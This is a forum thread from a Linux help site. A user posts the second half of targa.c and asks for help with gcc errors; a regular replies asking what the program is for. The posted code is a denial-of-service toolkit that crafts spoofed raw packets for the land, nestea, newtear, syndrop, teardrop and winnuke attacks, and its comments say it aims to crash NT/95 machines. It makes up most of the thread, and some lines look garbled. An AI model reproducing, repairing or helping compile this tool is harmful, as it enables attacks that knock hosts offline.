LinuxQuestions.org
Review your favorite Linux distribution.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Software
User Name
Password
Linux - Software This forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.

Notices


Reply
  Search this Thread
Old 03-31-2009, 07:51 AM   #1
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Rep: Reputation: 15
targa.c file execution error


...................................Second part of targa.c file...........
/* land(destination,port) */

struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

u_short
checksum (u_short * data, u_short length)
{
register long value;
u_short i;

for (i = 0; i < (length >> 1); i++)
value += data[i];
if ((length & 1) == 1)
value += (data[i] << 8);

value = (value & 65535) + (value >> 16);

return (~value);
}

int
land (char *land_host)
{
struct sockaddr_in sin;
struct hostent *hoste;
int sock, i;
char buffer[40];
struct iphdr *ipheader = (struct iphdr *) buffer;
struct tcphdr *tcpheader = (struct tcphdr *) (buffer + sizeof (struct iphdr)); struct pseudohdr pseudoheader;
static char *land_port = LANDPORT;
bzero (&sin, sizeof (struct sockaddr_in));
sin.sin_family = AF_INET;

if ((hoste = gethostbyname (land_host)) != NULL)
bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
{
fprintf (stderr, "unknown host %s\n", land_host);
return (-1);
}

if ((sin.sin_port = htons (atoi (land_port))) == 0)
{
fprintf (stderr, "unknown port %s\n", land_port);
return (-1);
}

if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
{
fprintf (stderr, "couldn't allocate raw socket\n");
return (-1);
}

bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcphdr));
ipheader->version = 4;
ipheader->ihl = sizeof (struct iphdr) / 4;
ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcphdr));
ipheader->id = htons (0xF1C);
ipheader->ttl = 255;
ipheader->protocol = TCP;
ipheader->saddr = sin.sin_addr.s_addr;
ipheader->daddr = sin.sin_addr.s_addr;

tcpheader->th_sport = sin.sin_port;
tcpheader->th_dport = sin.sin_port;
tcpheader->th_seq = htonl (0xF1C);
tcpheader->th_flags = TH_SYN;
tcpheader->th_off = sizeof (struct tcphdr) / 4;
tcpheader->th_win = htons (2048);

bzero (&pseudoheader, 12 + sizeof (struct tcphdr));
pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
pseudoheader.protocol = 6;
pseudoheader.length = htons (sizeof (struct tcphdr));
bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcphdr));
tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct
tcphdr));
for (i = 0; i < LANDREP; i++)
{
if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcphdr),
0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
{
fprintf (stderr, "couldn't send packet\n");
return (-1);
}
fprintf (stderr, "ESC[1;33m-ESC[0m");
}
close (sock);
return (0);
}

/* nestea(source, destination) */

u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void send_nes (int, u_long, u_long, u_short, u_short);

int
nestea (char *nes_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (nes_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = NESCOUNT;

addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;34m.ESC[0m");
usleep (500);
}
return (0);
}

void
send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
int i;
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);

byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + 10); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + 10); /* UDP total length */

if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}

p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);

byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2); /* total length */
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = FIX (6); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + MAGIC2); /* UDP total length */

if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
it (1);
}

p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
byte = 0x4F; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) = 0 | FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 44;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + NESPADDING); /* UDP total length */

for (i = 0; i < NESPADDING; i++)
{
p_ptr[i++] = random () % 255;
}

if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}

u_long
name_resolve (u_char * host_name)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr (host_name)) == -1)
{
if (!(host_ent = gethostbyname (host_name)))
return (0);
bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}

/* newtear(destination) */

void newt_frags (int, u_long, u_long, u_short, u_short);

int
newtear (char *newt_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (newt_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;

addr.s_addr = src_ip;
addr.s_addr = dst_ip;

for (i = 0; i < count; i++)
{
newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;32m#ESC[0m");
usleep (500);
}
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void
newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); // Set it all to zero

byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* UDP total length *//* Increases UDP total length to 48 bytes
Which is too big! */

if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);

if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}

/* syndrop(destination) */

u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void send_synd (int, u_long, u_long, u_short, u_short, u_long, u_long);

int
syndrop (char *synd_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
u_long s_start = 0, s_end = 0;
struct in_addr addr;
if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (synd_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;

addr.s_addr = src_ip;
addr.s_addr = dst_ip;
for (i = 0; i < count; i++)
{
send_synd (rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start, s_end);
fprintf (stderr, "ESC[1;35m&ESC[0m");
usleep (500);
}
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void
send_synd (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + PADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + PADDING); /* Set it all to zero */
byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_TCP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* TCP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* TCP destination port */
p_ptr += 2;
*((u_long *) p_ptr) = seq1; /* TCP sequence # */
p_ptr += 4;
*((u_long *) p_ptr) = 0; /* ack */
p_ptr += 4;
*((u_short *) p_ptr) = htons (8 + PADDING * 2); /* TCP data offset */
/* Increases TCP total length to 48 bytes Which is too big! */
p_ptr += 2;
*((u_char *) p_ptr) = TH_SYN; /* flags: mark SYN */
p_ptr += 1;
*((u_short *) p_ptr) = seq2 - seq1; /* window */
*((u_short *) p_ptr) = 0x44; /* checksum : this is magic value for NT, W95.
dissasemble M$ C++ to see why, if you have time */
*((u_short *) p_ptr) = 0; /* urgent */

if (sendto (sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);
p_ptr = &packet[24]; /* hop in to the sequence again... */
*((u_long *) p_ptr) = seq2; /* TCP sequence # */

if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}free (packet);
}

/* teardrop(destination) */

u_long name_resolve (u_char *);
u_short in_cksum (u_short *, int);
void tear_frags (int, u_long, u_long, u_short, u_short);

int
teardrop (char *tear_host)
{
int one = 1, count = 0, i, rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;

if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror ("raw socket");
exit (1);
}
if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0)
{
perror ("IP_HDRINCL");
exit (1);
}
if (!(dst_ip = name_resolve (tear_host)))
{
fprintf (stderr, "What the hell kind of IP address is that?\n");
exit (1);
}
src_ip = rand ();
srandom ((unsigned) (time ((time_t) 0)));
src_prt = (random () % 0xffff);
dst_prt = (random () % 0xffff);
count = COUNT;

addr.s_addr = src_ip;
addr.s_addr = dst_ip;

for (i = 0; i < count; i++)
{
tear_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf (stderr, "ESC[1;34m%%ESC[0m");
usleep (500);
}
return (0);
}

/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/

void
tear_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */

sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;

/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *) malloc (IPH + UDPH + TPADDING);
p_ptr = packet;
bzero ((u_char *) p_ptr, IPH + UDPH + TPADDING);

byte = 0x45; /* IP version and header length */
memcpy (p_ptr, &byte, sizeof (u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *) p_ptr) = FIX (IPH + UDPH + TPADDING); /* total length */
p_ptr += 2;
*((u_short *) p_ptr) = htons (242); /* IP id */
p_ptr += 2;
*((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *) p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy (p_ptr + 1, &byte, sizeof (u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *) p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *) p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *) p_ptr) = htons (src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *) p_ptr) = htons (8 + TPADDING); /* UDP total length */

if (sendto (sock, packet, IPH + UDPH + TPADDING, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}

/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *) p_ptr) = FIX (MAGIC);

if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin,
sizeof (struct sockaddr)) == -1)
{
perror ("\nsendto");
free (packet);
exit (1);
}
free (packet);
}

/* winnuke(destination) */

int winnuke_s;
char *str = "bill_loves_you!";
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int
winnuke_sub (int sock, char *server, int port)
{
struct sockaddr_in blah;
struct hostent *he;
bzero ((char *) &blah, sizeof (blah));
blah.sin_family = AF_INET;
blah.sin_addr.s_addr = inet_addr (server);
blah.sin_port = htons (port);
if ((he = gethostbyname (server)) != NULL)
{
bcopy (he->h_addr, (char *) &blah.sin_addr, he->h_length);
}
else
{
if ((blah.sin_addr.s_addr = inet_addr (server)) < 0)
{
perror ("gethostbyname()");
return (-3);
}
}
if (connect (sock, (struct sockaddr *) &blah, 16) == -1)
{
perror ("connect()");
close (sock);
return (-4);
}
return;
}
int
winnuke (char *winnuke_host)
{
int wncounter;
for (wncounter = 0; wncounter < WNUKEREP; wncounter++)
{
if ((winnuke_s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror ("socket()");
exit (-1);
}
winnuke_sub (winnuke_s, winnuke_host, WNUKEPORT);
send (winnuke_s, str, strlen (str), MSG_OOB);
fprintf (stderr, "ESC[1;37m*ESC[0m");
usleep (500);
close (winnuke_s);
}
return;
}
/* EOF */
.........................................................................
Please help me with solution
With Thanks and Regards
 
Old 03-31-2009, 12:02 PM   #2
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 25,833

Rep: Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761
Quote:
Originally Posted by soni_silver17 View Post
...................................Second part of targa.c file...........

.........................................................................
Please help me with solution
With Thanks and Regards
Solution for what? You just posted a huge chunks of C code, and asked for a solution. Are you expecting folks to compile/run and debug your code? Looks like you've got a problem with that function.

What have you tried? What program is that targa.c part of? What's it supposed to do?

Last edited by TB0ne; 03-31-2009 at 12:05 PM.
 
Old 04-01-2009, 12:43 AM   #3
soni_silver17
LQ Newbie
 
Registered: Jan 2009
Posts: 21

Original Poster
Rep: Reputation: 15
Mr.TB0ne sir , actually i tried to post the whole code in one thread but it is not accepting the whole code , it is giving error as "it will support up to 25000 charecters"............so i have split the code into two parts and posted as two threads...

Actually while i am compling this targa.c file with the command

#gcc targa.c -o targa

i am getting the fooling errors

targa.c: In function `fondle':
targa.c:288: error: `UDP' undeclared (first use in this function)
targa.c:288: error: (Each undeclared identifier is reported only once
targa.c:288: error: for each function it appears in.)
targa.c: In function `jolt':
targa.c:391: error: structure has no member named `ip_csum'
targa.c: In function `land':
targa.c:492: error: `TCP' undeclared (first use in this function)
targa.c:496: error: structure has no member named `th_sport'
targa.c:497: error: structure has no member named `th_dport'
targa.c:498: error: structure has no member named `th_seq'
targa.c:499: error: structure has no member named `th_flags'
targa.c:499: error: `TH_SYN' undeclared (first use in this function)
targa.c:500: error: structure has no member named `th_off'
targa.c:501: error: structure has no member named `th_win'
targa.c:509: error: structure has no member named `th_sum'
targa.c: In function `send_synd':
targa.c:931: error: `TH_SYN' undeclared (first use in this function)

Please help me with solution ..
With Thanks and Regards..
 
Old 04-01-2009, 09:29 AM   #4
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 25,833

Rep: Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761Reputation: 7761
Quote:
Originally Posted by soni_silver17 View Post
Mr.TB0ne sir , actually i tried to post the whole code in one thread but it is not accepting the whole code , it is giving error as "it will support up to 25000 charecters"............so i have split the code into two parts and posted as two threads...

Actually while i am compling this targa.c file with the command

#gcc targa.c -o targa

i am getting the fooling errors

targa.c: In function `fondle':
targa.c:288: error: `UDP' undeclared (first use in this function)
targa.c:288: error: (Each undeclared identifier is reported only once
targa.c:288: error: for each function it appears in.)
targa.c: In function `jolt':
targa.c:391: error: structure has no member named `ip_csum'
targa.c: In function `land':
targa.c:492: error: `TCP' undeclared (first use in this function)
targa.c:496: error: structure has no member named `th_sport'
targa.c:497: error: structure has no member named `th_dport'
targa.c:498: error: structure has no member named `th_seq'
targa.c:499: error: structure has no member named `th_flags'
targa.c:499: error: `TH_SYN' undeclared (first use in this function)
targa.c:500: error: structure has no member named `th_off'
targa.c:501: error: structure has no member named `th_win'
targa.c:509: error: structure has no member named `th_sum'
targa.c: In function `send_synd':
targa.c:931: error: `TH_SYN' undeclared (first use in this function)

Please help me with solution ..
With Thanks and Regards..
Right...did you READ WHAT I POSTED?

Quote:
Looks like you've got a problem with that function.

What have you tried? What program is that targa.c part of? What's it supposed to do?
Well?? What have you tried? What program is that a part of? What's it supposed to do?
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
targa.c file execution error soni_silver17 Linux - Software 2 04-30-2009 12:41 PM
.Jar file execution error on FC7 immortaltechnique Linux - Software 6 12-21-2007 04:26 AM
file execution ygloo Linux - General 2 11-07-2006 11:25 AM
file execution zaid Linux - General 3 01-18-2006 05:32 AM
file execution zaid Linux - General 1 01-17-2006 07:28 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Software

All times are GMT -5. The time now is 03:17 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration